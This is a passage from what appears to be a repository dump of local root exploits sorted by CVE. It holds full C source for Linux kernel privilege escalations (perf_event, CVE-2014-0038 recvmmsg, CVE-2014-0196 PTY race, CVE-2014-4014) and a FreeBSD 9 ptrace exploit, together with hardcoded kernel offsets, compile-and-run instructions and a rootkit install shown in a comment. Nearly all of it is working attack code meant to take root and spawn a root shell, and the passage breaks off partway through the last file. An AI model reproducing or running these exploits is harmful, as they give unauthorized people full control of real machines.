void trigger(uint32_t off) { 61 | uint64_t buf[10] = { 0x4800000001, off, 0, 0, 0, 0x300 }; 62 | int fd = syscall(298, buf, 0, -1, -1, 0); 63 | assert( !close(fd) ); 64 | } 65 | 66 | int main(int argc, char **argv) { 67 | uint64_t off64, needle, kbase, *p; 68 | uint8_t *code; 69 | uint32_t int_n, j = 5, target = 1337; 70 | int offset = 0; 71 | void *map; 72 | 73 | assert(argc == 2 && "target?"); 74 | assert( (target = atoi(argv[1])) < 3 ); 75 | 76 | struct { 77 | uint16_t limit; 78 | uint64_t addr; 79 | } __attribute__((packed)) idt; 80 | 81 | // mmap user-space block so we don't page fault 82 | // on sw_perf_event_destroy 83 | assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE); 84 | memset(map, 0, SIZE); 85 | 86 | asm volatile("sidt %0" : "=m" (idt)); 87 | kbase = idt.addr & 0xff000000; 88 | printf("IDT addr = 0x%lx\n", idt.addr); 89 | 90 | assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase); 91 | memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &payload, 1024); 92 | memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13); 93 | 94 | // can only play with interrupts 3, 4 and 0x80 95 | for (int_n = 3; int_n <= 0x80; int_n++) { 96 | for (off64 = 0x00000000ffffffff; (int)off64 < 0; off64--) { 97 | int off32 = off64; 98 | 99 | if ((targets[target][0] + ((uint64_t)off32)*24) == (idt.addr + int_n*16 + 8)) { 100 | offset = off32; 101 | goto out; 102 | } 103 | } 104 | if (int_n == 4) { 105 | // shit, let's try 0x80 if the kernel is compiled with 106 | // CONFIG_IA32_EMULATION 107 | int_n = 0x80 - 1; 108 | } 109 | } 110 | out: 111 | assert(offset); 112 | printf("Using int = %d with offset = %d\n", int_n, offset); 113 | 114 | for (j = 0; j < 3; j++) { 115 | needle = AB(j+1); 116 | assert(p = memmem(code, 1024, &needle, 8)); 117 | *p = !j ? (idt.addr + int_n * 16 + 8) : targets[target][j]; 118 | } 119 | trigger(offset); 120 | switch (int_n) { 121 | case 3: 122 | asm volatile("int $0x03"); 123 | break; 124 | case 4: 125 | asm volatile("int $0x04"); 126 | break; 127 | case 0x80: 128 | asm volatile("int $0x80"); 129 | } 130 | 131 | assert(!setuid(0)); 132 | return execl("/bin/bash", "-sh", NULL); 133 | } 134 | -------------------------------------------------------------------------------- /2013/CVE-2013-2171/CVE-2013-2171: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2013/CVE-2013-2171/CVE-2013-2171 -------------------------------------------------------------------------------- /2013/CVE-2013-2171/CVE-2013-2171.c: -------------------------------------------------------------------------------- 1 | /* 2 | * FreeBSD 9.{0,1} mmap/ptrace exploit 3 | * by Hunger 4 | * 5 | * Happy Birthday FreeBSD! 6 | * Now you are 20 years old and your security is the same as 20 years ago... :) 7 | * 8 | * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof, 9 | * sd, sghctoma, snq, spender, s2crew and others at #hekkcamp: 10 | * I hope we'll meet again at 8@1470n ;) 11 | * 12 | * Special thanks to proactivesec.com 13 | * 14 | */ 15 | 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | #define SH "/bin/sh" 30 | #define TG "/usr/sbin/timedc" 31 | 32 | int 33 | main(int ac, char **av) { 34 | int from_fd, to_fd, status; 35 | struct stat st; 36 | struct ptrace_io_desc piod; 37 | char *s, *d; 38 | pid_t pid; 39 | 40 | if (geteuid() == 0) { 41 | setuid(0); 42 | execl(SH, SH, NULL); 43 | return 0; 44 | } 45 | 46 | printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n"); 47 | printf("by Hunger \n"); 48 | 49 | if ((from_fd = open(av[0], O_RDONLY)) == -1 || 50 | (to_fd = open(TG, O_RDONLY)) == -1) 51 | err(1, "open"); 52 | 53 | if (stat(av[0], &st) == -1) 54 | err(2, "stat"); 55 | 56 | if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ, 57 | MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) || 58 | (d = mmap(NULL, (size_t)st.st_size, PROT_READ, 59 | MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED) 60 | err(3, "mmap"); 61 | 62 | if ((pid = fork()) == -1) 63 | err(4, "fork"); 64 | 65 | if (!pid) { 66 | if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) 67 | err(5, "ptraceme"); 68 | 69 | return 0; 70 | } 71 | 72 | if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) 73 | err(6, "ptattach"); 74 | 75 | if (wait(&status) == -1) 76 | err(7, "wait"); 77 | 78 | piod.piod_op = PIOD_WRITE_D; 79 | piod.piod_offs = d; 80 | piod.piod_addr = s; 81 | piod.piod_len = st.st_size; 82 | 83 | if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) 84 | err(8, "ptio"); 85 | 86 | execl(TG, TG, NULL); 87 | 88 | return 0; 89 | } 90 | -------------------------------------------------------------------------------- /2014/CVE-2014-0038/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2014/CVE-2014-0038/pwn -------------------------------------------------------------------------------- /2014/CVE-2014-0038/pwn64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2014/CVE-2014-0038/pwn64 -------------------------------------------------------------------------------- /2014/CVE-2014-0038/recvmmsg.c: -------------------------------------------------------------------------------- 1 | /* 2 | *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* 3 | recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) 4 | CVE-2014-0038 / x32 ABI with recvmmsg 5 | by rebel @ irc.smashthestack.org 6 | ----------------------------------- 7 | 8 | takes about 13 minutes to run because timeout->tv_sec is decremented 9 | once per second and 0xff*3 is 765. 10 | 11 | some things you could do while waiting: 12 | * read https://wiki.ubuntu.com/Security/Features and smirk a few times 13 | * brew some coffee 14 | * stare at the countdown giggly with anticipation 15 | 16 | could probably whack the high bits of some pointer with nanoseconds, 17 | but that would require a bunch of nulls before the pointer and then 18 | reading an oops from dmesg which isn't that elegant. 19 | 20 | &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes 21 | 22 | hardcoded offsets because I only saw this on ubuntu & kallsyms is protected 23 | anyway.. 24 | 25 | same principle will work on 32bit but I didn't really find any major 26 | distros shipping with CONFIG_X86_X32=y 27 | 28 | user@ubuntu:~$ u**** -a 29 | Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux 30 | user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg 31 | user@ubuntu:~$ ./recvmmsg 32 | byte 3 / 3.. ~0 secs left. 33 | w00p w00p! 34 | # id 35 | uid=0(root) gid=0(root) groups=0(root) 36 | # sh phalanx-2.6b-x86_64.sh 37 | unpacking.. 38 | 39 | :)= 40 | 41 | greets to my homeboys kaliman, beist, capsl & all of #social 42 | 43 | Sat Feb 1 22:15:19 CET 2014 44 | % rebel % 45 | *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* 46 | */ 47 | 48 | #define _GNU_SOURCE 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | 62 | #define __X32_SYSCALL_BIT 0x40000000 63 | #undef __NR_recvmmsg 64 | #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) 65 | #define VLEN 1 66 | #define BUFSIZE 200 67 | 68 | int port; 69 | 70 | struct offset { 71 | char *kernel_version; 72 | unsigned long dest; // net_sysctl_root + 96 73 | unsigned long original_value; // net_ctl_permissions 74 | unsigned long prepare_kernel_cred; 75 | unsigned long commit_creds; 76 | }; 77 | 78 | struct offset offsets[] = { 79 | {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10 80 | {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10 81 | {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04 82 | {NULL,0,0,0,0} 83 | }; 84 | 85 | void udp(int b) { 86 | int sockfd; 87 | struct sockaddr_in servaddr,cliaddr; 88 | int s = 0xff+1; 89 | 90 | if(fork() == 0) { 91 | while(s > 0) { 92 | fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s)); 93 | sleep(1); 94 | s--; 95 | fprintf(stderr,"."); 96 | } 97 | 98 | sockfd = socket(AF_INET,SOCK_DGRAM,0); 99 | bzero(&servaddr,sizeof(servaddr)); 100 | servaddr.sin_family = AF_INET; 101 | servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); 102 | servaddr.sin_port=htons(port); 103 | sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr)); 104 | exit(0); 105 | } 106 | 107 | } 108 | 109 | void trigger() { 110 | open("/proc/sys/net/core/somaxconn",O_RDONLY); 111 | 112 | if(getuid() != 0) { 113 | fprintf(stderr,"not root, ya blew it!\n"); 114 | exit(-1); 115 | } 116 | 117 | fprintf(stderr,"w00p w00p!\n"); 118 | system("/bin/sh -i"); 119 | } 120 | 121 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 122 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 123 | _commit_creds commit_creds; 124 | _prepare_kernel_cred prepare_kernel_cred; 125 | 126 | // thx bliss 127 | static int __attribute__((regparm(3))) 128 | getroot(void *head, void * table) 129 | { 130 | commit_creds(prepare_kernel_cred(0)); 131 | return -1; 132 | } 133 | 134 | void __attribute__((regparm(3))) 135 | trampoline() 136 | { 137 | asm("mov $getroot, %rax; call *%rax;"); 138 | } 139 | 140 | int main(void) 141 | { 142 | int sockfd, retval, i; 143 | struct sockaddr_in sa; 144 | struct mmsghdr msgs[VLEN]; 145 | struct iovec iovecs[VLEN]; 146 | char buf[BUFSIZE]; 147 | long mmapped; 148 | struct uts**** u; 149 | struct offset *off = NULL; 150 | 151 | u****(&u); 152 | 153 | for(i=0;offsets[i].kernel_version != NULL;i++) { 154 | if(!strcmp(offsets[i].kernel_version,u.release)) { 155 | off = &offsets[i]; 156 | break; 157 | } 158 | } 159 | 160 | if(!off) { 161 | fprintf(stderr,"no offsets for this kernel version..\n"); 162 | exit(-1); 163 | } 164 | 165 | mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1)); 166 | mmapped &= 0x000000ffffffffff; 167 | 168 | srand(time(NULL)); 169 | port = (rand() % 30000)+1500; 170 | 171 | commit_creds = (_commit_creds)off->commit_creds; 172 | prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred; 173 | 174 | mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); 175 | 176 | if(mmapped == -1) { 177 | perror("mmap()"); 178 | exit(-1); 179 | } 180 | 181 | memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3); 182 | 183 | memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); 184 | 185 | if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) { 186 | perror("mprotect()"); 187 | exit(-1); 188 | } 189 | 190 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 191 | if (sockfd == -1) { 192 | perror("socket()"); 193 | exit(-1); 194 | } 195 | 196 | sa.sin_family = AF_INET; 197 | sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 198 | sa.sin_port = htons(port); 199 | 200 | if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { 201 | perror("bind()"); 202 | exit(-1); 203 | } 204 | 205 | memset(msgs, 0, sizeof(msgs)); 206 | 207 | iovecs[0].iov_**** = &buf; 208 | iovecs[0].iov_len = BUFSIZE; 209 | msgs[0].msg_hdr.msg_iov = &iovecs[0]; 210 | msgs[0].msg_hdr.msg_iovlen = 1; 211 | 212 | for(i=0;i < 3 ;i++) { 213 | udp(i); 214 | retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); 215 | if(!retval) { 216 | fprintf(stderr,"\nrecvmmsg() failed\n"); 217 | } 218 | } 219 | 220 | close(sockfd); 221 | 222 | fprintf(stderr,"\n"); 223 | 224 | trigger(); 225 | } 226 | -------------------------------------------------------------------------------- /2014/CVE-2014-0038/timeoutpwn.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Local root exploit for CVE-2014-0038. 3 | * 4 | * https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c 5 | * 6 | * Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer 7 | * passed from userspace. 8 | * 9 | * Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg, 10 | * if the original byte at that address is known it can be overwritten 11 | * with known data. 12 | * If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00. 13 | * 14 | * Restrictions: The first long at the passed address (tv_sec) has to be positive 15 | * and the second long (tv_nsec) has to be smaller than 1000000000. 16 | * 17 | * Overview: Target the release function pointer of the ptmx_fops structure located in 18 | * non initialized (and thus writable) kernel memory. Zero out the three most 19 | * significant bytes and thus turn it into a pointer to an address mappable in 20 | * user space. 21 | * The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec 22 | * is valid). 23 | * Open /dev/ptmx, close it and enjoy. 24 | * 25 | * Not very beautiful but should be fairly reliable if symbols can be resolved. 26 | * 27 | * Tested on Ubuntu 13.10 28 | * 29 | * gcc timeoutpwn.c -o pwn && ./pwn 30 | * 31 | * Written by saelo 32 | */ 33 | #define _GNU_SOURCE 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | 47 | #define __X32_SYSCALL_BIT 0x40000000 48 | #undef __NR_recvmmsg 49 | #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) 50 | 51 | #define BUFSIZE 200 52 | #define PAYLOADSIZE 0x2000 53 | #define FOPS_RELEASE_OFFSET 13*8 54 | 55 | /* 56 | * Adapt these addresses for your need. 57 | * see /boot/System.map* or /proc/kallsyms 58 | * These are the offsets from ubuntu 3.11.0-12-generic. 59 | */ 60 | #define PTMX_FOPS 0xffffffff81fb30c0LL 61 | #define TTY_RELEASE 0xffffffff8142fec0LL 62 | #define COMMIT_CREDS 0xffffffff8108ad40LL 63 | #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL 64 | 65 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 66 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 67 | 68 | /* 69 | * Match signature of int release(struct inode*, struct file*). 70 | * 71 | * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz 72 | */ 73 | int __attribute__((regparm(3))) 74 | kernel_payload(void* foo, void* bar) 75 | { 76 | _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; 77 | _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; 78 | 79 | *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer 80 | commit_creds(prepare_kernel_cred(0)); 81 | 82 | return -1; 83 | } 84 | 85 | /* 86 | * Write a zero to the byte at then given address. 87 | * Only works if the current value is 0xff. 88 | */ 89 | void zero_out(long addr) 90 | { 91 | int sockfd, retval, port, pid, i; 92 | struct sockaddr_in sa; 93 | char buf[BUFSIZE]; 94 | struct mmsghdr msgs; 95 | struct iovec iovecs; 96 | 97 | srand(time(NULL)); 98 | 99 | port = 1024 + (rand() % (0x10000 - 1024)); 100 | 101 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 102 | if (sockfd == -1) { 103 | perror("socket()"); 104 | exit(EXIT_FAILURE); 105 | } 106 | 107 | sa.sin_family = AF_INET; 108 | sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 109 | sa.sin_port = htons(port); 110 | if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { 111 | perror("bind()"); 112 | exit(EXIT_FAILURE); 113 | } 114 | 115 | memset(&msgs, 0, sizeof(msgs)); 116 | iovecs.iov_base = buf; 117 | iovecs.iov_len = BUFSIZE; 118 | msgs.msg_hdr.msg_iov = &iovecs; 119 | msgs.msg_hdr.msg_iovlen = 1; 120 | 121 | /* 122 | * start a seperate process to send a udp message after 255 seconds so the syscall returns, 123 | * but not after updating the timout struct and writing the remaining time into it. 124 | * 0xff - 255 seconds = 0x00 125 | */ 126 | printf("clearing byte at 0x%lx\n", addr); 127 | pid = fork(); 128 | if (pid == 0) { 129 | memset(buf, 0x41, BUFSIZE); 130 | 131 | if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { 132 | perror("socket()"); 133 | exit(EXIT_FAILURE); 134 | } 135 | 136 | sa.sin_family = AF_INET; 137 | sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 138 | sa.sin_port = htons(port); 139 | 140 | printf("waiting 255 seconds...\n"); 141 | for (i = 0; i < 255; i++) { 142 | if (i % 10 == 0) 143 | printf("%is/255s\n", i); 144 | sleep(1); 145 | } 146 | 147 | printf("waking up parent...\n"); 148 | sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa)); 149 | exit(EXIT_SUCCESS); 150 | } else if (pid > 0) { 151 | retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr); 152 | if (retval == -1) { 153 | printf("address can't be written to, not a valid timespec struct\n"); 154 | exit(EXIT_FAILURE); 155 | } 156 | waitpid(pid, 0, 0); 157 | printf("byte zeroed out\n"); 158 | } else { 159 | perror("fork()"); 160 | exit(EXIT_FAILURE); 161 | } 162 | } 163 | 164 | int main(int argc, char** argv) 165 | { 166 | long code, target; 167 | int pwn; 168 | 169 | /* Prepare payload... */ 170 | printf("preparing payload buffer...\n"); 171 | code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0); 172 | memset((void*)code, 0x90, PAYLOADSIZE); 173 | code += PAYLOADSIZE - 1024; 174 | memcpy((void*)code, &kernel_payload, 1024); 175 | 176 | /* 177 | * Now clear the three most significant bytes of the fops pointer 178 | * to the release function. 179 | * This will make it point into the memory region mapped above. 180 | */ 181 | printf("changing kernel pointer to point into controlled buffer...\n"); 182 | target = PTMX_FOPS + FOPS_RELEASE_OFFSET; 183 | zero_out(target + 7); 184 | zero_out(target + 6); 185 | zero_out(target + 5); 186 | 187 | /* ... and trigger. */ 188 | printf("releasing file descriptor to call manipulated pointer in kernel mode...\n"); 189 | pwn = open("/dev/ptmx", 'r'); 190 | close(pwn); 191 | 192 | if (getuid() != 0) { 193 | printf("failed to get root :(\n"); 194 | exit(EXIT_FAILURE); 195 | } 196 | 197 | printf("got root, enjoy :)\n"); 198 | return execl("/bin/bash", "-sh", NULL); 199 | } 200 | -------------------------------------------------------------------------------- /2014/CVE-2014-0196/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2014/CVE-2014-0196/a.out -------------------------------------------------------------------------------- /2014/CVE-2014-0196/cve-2014-0196-md.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race 3 | * condition 4 | * 5 | * Slightly-less-than-POC privilege escalation exploit 6 | * For kernels >= v3.14-rc1 7 | * 8 | * Matthew Daley 9 | * 10 | * Usage: 11 | * $ gcc cve-2014-0196-md.c -lutil -lpthread 12 | * $ ./a.out 13 | * [+] Resolving symbols 14 | * [+] Resolved commit_creds: 0xffffffff81056694 15 | * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 16 | * [+] Doing once-off allocations 17 | * [+] Attempting to overflow into a tty_struct............... 18 | * [+] Got it :) 19 | * # id 20 | * uid=0(root) gid=0(root) groups=0(root) 21 | * 22 | * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 23 | * chance that the overflow will go off the end of a slab. This does not 24 | * necessarily lead to an immediate kernel crash, but you should be prepared 25 | * for the worst (i.e. kernel oopsing in a bad state). In theory this would be 26 | * avoidable by reading /proc/slabinfo on systems where it is still available 27 | * to unprivileged users. 28 | * 29 | * Caveat: The vulnerability should be exploitable all the way from 30 | * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in 31 | * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer 32 | * GFP_ATOMIC memory consumption") that make exploitation simpler, which this 33 | * exploit relies on. 34 | * 35 | * Thanks to Jon Oberheide for his help on exploitation technique. 36 | */ 37 | 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #define TTY_MAGIC 0x5401 49 | 50 | #define ONEOFF_ALLOCS 200 51 | #define RUN_ALLOCS 30 52 | 53 | struct device; 54 | struct tty_driver; 55 | struct tty_operations; 56 | 57 | typedef struct { 58 | int counter; 59 | } atomic_t; 60 | 61 | struct kref { 62 | atomic_t refcount; 63 | }; 64 | 65 | struct tty_struct_header { 66 | int magic; 67 | struct kref kref; 68 | struct device *dev; 69 | struct tty_driver *driver; 70 | const struct tty_operations *ops; 71 | } overwrite; 72 | 73 | typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); 74 | typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); 75 | 76 | int master_fd, slave_fd; 77 | char buf[1024] = {0}; 78 | commit_creds_fn commit_creds; 79 | prepare_kernel_cred_fn prepare_kernel_cred; 80 | 81 | int payload(void) { 82 | commit_creds(prepare_kernel_cred(0)); 83 | 84 | return 0; 85 | } 86 | 87 | unsigned long get_symbol(char *target_name) { 88 | FILE *f; 89 | unsigned long addr; 90 | char dummy; 91 | char name[256]; 92 | int ret = 0; 93 | 94 | f = fopen("/proc/kallsyms", "r"); 95 | if (f == NULL) 96 | return 0; 97 | 98 | while (ret != EOF) { 99 | ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); 100 | if (ret == 0) { 101 | fscanf(f, "%s\n", name); 102 | continue; 103 | } 104 | 105 | if (!strcmp(name, target_name)) { 106 | printf("[+] Resolved %s: %p\n", target_name, (void *)addr); 107 | 108 | fclose(f); 109 | return addr; 110 | } 111 | } 112 | 113 | printf("[-] Couldn't resolve \"%s\"\n", name); 114 | 115 | fclose(f); 116 | return 0; 117 | } 118 | 119 | void *overwrite_thread_fn(void *p) { 120 | write(slave_fd, buf, 511); 121 | 122 | write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); 123 | write(slave_fd, &overwrite, sizeof(overwrite)); 124 | } 125 | 126 | int main() { 127 | char scratch[1024] = {0}; 128 | void *tty_operations[64]; 129 | int i, temp_fd_1, temp_fd_2; 130 | 131 | for (i = 0; i < 64; ++i) 132 | tty_operations[i] = payload; 133 | 134 | overwrite.magic = TTY_MAGIC; 135 | overwrite.kref.refcount.counter = 0x1337; 136 | overwrite.dev = (struct device *)scratch; 137 | overwrite.driver = (struct tty_driver *)scratch; 138 | overwrite.ops = (struct tty_operations *)tty_operations; 139 | 140 | puts("[+] Resolving symbols"); 141 | 142 | commit_creds = (commit_creds_fn)get_symbol("commit_creds"); 143 | prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); 144 | if (!commit_creds || !prepare_kernel_cred) 145 | return 1; 146 | 147 | puts("[+] Doing once-off allocations"); 148 | 149 | for (i = 0; i < ONEOFF_ALLOCS; ++i) 150 | if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { 151 | puts("[-] pty creation failed"); 152 | return 1; 153 | } 154 | 155 | printf("[+] Attempting to overflow into a tty_struct..."); 156 | fflush(stdout); 157 | 158 | for (i = 0; ; ++i) { 159 | struct termios t; 160 | int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; 161 | pthread_t overwrite_thread; 162 | 163 | if (!(i & 0xfff)) { 164 | putchar('.'); 165 | fflush(stdout); 166 | } 167 | 168 | if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { 169 | puts("\n[-] pty creation failed"); 170 | return 1; 171 | } 172 | 173 | for (j = 0; j < RUN_ALLOCS; ++j) 174 | if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { 175 | puts("\n[-] pty creation failed"); 176 | return 1; 177 | } 178 | 179 | close(fds[RUN_ALLOCS / 2]); 180 | close(fds2[RUN_ALLOCS / 2]); 181 | 182 | write(slave_fd, buf, 1); 183 | 184 | tcgetattr(master_fd, &t); 185 | t.c_oflag &= ~OPOST; 186 | t.c_lflag |= ECHO; 187 | tcsetattr(master_fd, TCSANOW, &t); 188 | 189 | if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { 190 | puts("\n[-] Overwrite thread creation failed"); 191 | return 1; 192 | } 193 | write(master_fd, "A", 1); 194 | pthread_join(overwrite_thread, NULL); 195 | 196 | for (j = 0; j < RUN_ALLOCS; ++j) { 197 | if (j == RUN_ALLOCS / 2) 198 | continue; 199 | 200 | ioctl(fds[j], 0xdeadbeef); 201 | ioctl(fds2[j], 0xdeadbeef); 202 | 203 | close(fds[j]); 204 | close(fds2[j]); 205 | } 206 | 207 | ioctl(master_fd, 0xdeadbeef); 208 | ioctl(slave_fd, 0xdeadbeef); 209 | 210 | close(master_fd); 211 | close(slave_fd); 212 | 213 | if (!setresuid(0, 0, 0)) { 214 | setresgid(0, 0, 0); 215 | 216 | puts("\n[+] Got it :)"); 217 | execl("/bin/bash", "/bin/bash", NULL); 218 | } 219 | } 220 | } 221 | 222 | -------------------------------------------------------------------------------- /2014/CVE-2014-3153/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2014-3153 2 | 3 | CVE-2014-3153 4 | 5 | The exp is from [@timwr](https://github.com/timwr/CVE-2014-3153) 6 | 7 | 8 | Vulnerability reference: 9 | * [CVE-2014-3153](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3153) 10 | * [exp-db](https://www.exploit-db.com/exploits/35370/) 11 | 12 | ## Kernels 13 | ``` 14 | 3.3.5 ,3.3.4 ,3.3.2 ,3.2.13 ,3.2.9 ,3.2.1 ,3.1.8 ,3.0.5 ,3.0.4 ,3.0.2 ,3.0.1 ,2.6.39 ,2.6.38 ,2.6.37 ,2.6.35 ,2.6.34 ,2.6.33 ,2.6.32 ,2.6.9 ,2.6.8 ,2.6.7 ,2.6.6 ,2.6.5 ,2.6.4 ,3.2.2 ,3.0.18 ,3.0 ,2.6.8.1 15 | ``` 16 | 17 | ## Usage 18 | ``` 19 | $ gcc exploit.c -o exploit -lpthread 20 | $ ./exploit 21 | ``` 22 | 23 | 24 | ## References 25 | * [Source Exploit](https://github.com/SecWiki/linux-kernel-exploits/tree/master/2014/CVE-2014-3153) 26 | -------------------------------------------------------------------------------- /2014/CVE-2014-3153/exploit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2014/CVE-2014-3153/exploit -------------------------------------------------------------------------------- /2014/CVE-2014-4014/33824: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/anoaghost/Localroot_Compile/5b3b9088ee2f6169fa96f983a942a62e69286dda/2014/CVE-2014-4014/33824 -------------------------------------------------------------------------------- /2014/CVE-2014-4014/33824.c: -------------------------------------------------------------------------------- 1 | /** 2 | * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC 3 | * 4 | * Vitaly Nikolenko 5 | * http://hashcrack.org 6 | * 7 | * Usage: ./poc [file_path] 8 | * 9 | * where file_path is the file on which you want to set the sgid bit 10 | */ 11 | #define _GNU_SOURCE 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define STACK_SIZE (1024 * 1024) 23 | static char child_stack[STACK_SIZE]; 24 | 25 | struct args { 26 | int pipe_fd[2]; 27 | char *file_path; 28 | }; 29 | 30 | static int child(void *arg) { 31 | struct args *f_args = (struct args *)arg; 32 | char c; 33 | 34 | // close stdout 35 | close(f_args->pipe_fd[1]); 36 | 37 | assert(read(f_args->pipe_fd[0], &c, 1) == 0); 38 | 39 | // set the setgid bit 40 | chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR); 41 | 42 | return 0; 43 | } 44 | 45 | int main(int argc, char *argv[]) { 46 | int fd; 47 | pid_t pid; 48 | char mapping[1024]; 49 | char 